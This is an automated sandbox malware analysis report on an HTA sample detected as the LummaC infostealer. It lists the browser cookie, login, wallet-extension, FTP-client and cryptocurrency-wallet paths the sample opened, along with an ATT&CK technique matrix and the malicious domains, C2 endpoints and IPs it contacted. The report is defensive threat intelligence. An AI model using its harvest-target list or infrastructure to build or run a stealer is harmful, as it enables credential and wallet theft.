Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 1208, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1208, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	111 Process Injection	3 Obfuscated Files or Information	LSASS Memory	22 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	2 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	121 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
winwidgetshp.mp4.hta	8%	ReversingLabs	Binary.Trojan.Generic
winwidgetshp.mp4.hta	15%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
atsuka.thrivezest.org	104.21.18.182	true	true	unknown
learningypr.click	104.21.48.1	true	true	unknown
klipcatepiu0.shop	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
aspecteirs.lat	false	high
energyaffai.lat	false	high
learningypr.click	true	unknown
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
https://atsuka.thrivezest.org/hubus.xlsx	true	unknown
grannyejh.lat	false	high
discokeyus.lat	false	high
https://learningypr.click/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://learningypr.clic	powershell.exe, 00000016.00000002.3671860372.00000000051D2000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2190852545.0000000005D78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://klipcatepiu0.shop/int_clp_ldr_sha.txtEP	powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://stackoverflow.com/q/14436606/23354	powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://klipcatepiu0.shop/int_clp_ldr_sha.txt	powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://learningypr.click/piK	powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000004.00000002.2187440452.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-net	powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://learningypr.click/apiHJ	powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://learningypr.click/apics7	powershell.exe, 00000016.00000002.3671969810.00000000051D9000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://klipcatepiu0.shop/WyxI	powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/mgravell/protobuf-neti	powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://learningypr.click/api9	powershell.exe, 00000016.00000002.3668719743.0000000002CC4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://klipcatepiu0.shop/XH	powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.2187440452.0000000004D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://atsuka.thrivezest.org	powershell.exe, 00000006.00000002.3469276083.00000000050C7000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2190852545.0000000005D78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://atsuka.thri	powershell.exe, 00000004.00000002.2187440452.0000000004F77000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://learningypr.click/apihK	powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://klipcatepiu0.shop/	powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2187440452.0000000004D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3469276083.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://learningypr.click/	powershell.exe, 00000016.00000002.3671615432.00000000051C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://klipcatepiu0.shop/int_clp_ldr_sha.txt/537.36	powershell.exe, 00000016.00000002.3663856176.0000000002C49000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.48.1	learningypr.click	United States		13335	CLOUDFLARENETUS	true
104.21.18.182	atsuka.thrivezest.org	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579459
Start date and time:	2024-12-22 13:41:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	winwidgetshp.mp4.hta
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winHTA@9/6@3/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 89% Number of executed functions: 144 Number of non-executed functions: 40
Cookbook Comments:	Found application associated with file extension: .hta Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.181.0, 20.223.35.26, 2.16.158.169, 23.218.208.109, 13.107.246.63, 4.245.163.56, 20.86.201.138
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, ctldl.windowsupdate.com, tse1.mm.bing.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 7064 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 2656 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:42:09	API Interceptor	53x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
